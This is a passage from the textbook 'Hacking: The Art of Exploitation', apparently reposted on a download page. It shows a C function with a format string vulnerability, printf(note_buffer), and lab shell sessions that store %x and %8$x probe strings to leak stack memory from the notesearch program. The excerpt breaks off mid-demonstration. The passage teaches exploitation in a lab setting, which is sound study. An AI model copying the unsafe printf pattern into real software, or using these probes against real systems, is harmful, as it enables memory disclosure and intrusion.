Hacking - The Art of Exploitation, 2nd Edition

(Romina) #1
Exploitation 189

0x358 Another notesearch Vulnerability


In addition to the buffer overflow vulnerability, the notesearch program


from Chapter 2 also suffers from a format string vulnerability. This vulner-


ability is shown in bold in the code listing below.


int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];


note_length = find_user_note(fd, uid);
if(note_length == -1) // If end of file reached,
return 0; // return 0.


read(fd, note_buffer, note_length); // Read note data.
note_buffer[note_length] = 0; // Terminate the string.


if(search_note(note_buffer, searchstring)) // If searchstring found,
printf(note_buffer); // print the note.
return 1;
}


This function reads the note_buffer from the file and prints the contents


of the note without supplying its own format string. While this buffer can’t be


directly controlled from the command line, the vulnerability can be exploited


by sending exactly the right data to the file using the notetaker program and


then opening that note using the notesearch program. In the following output,


the notetaker program is used to create notes to probe memory in the note-


search program. This tells us that the eighth function parameter is at the


beginning of the buffer.


reader@hacking:~/booksrc $ ./notetaker AAAA$(perl -e 'print "%x."x10')
[DEBUG] buffer @ 0x804a008: 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ ./notesearch AAAA
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78.
-------[ end of note data ]-------
reader@hacking:~/booksrc $ ./notetaker BBBB%8\$x
[DEBUG] buffer @ 0x804a008: 'BBBB%8$x'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ ./notesearch BBBB

Free download pdf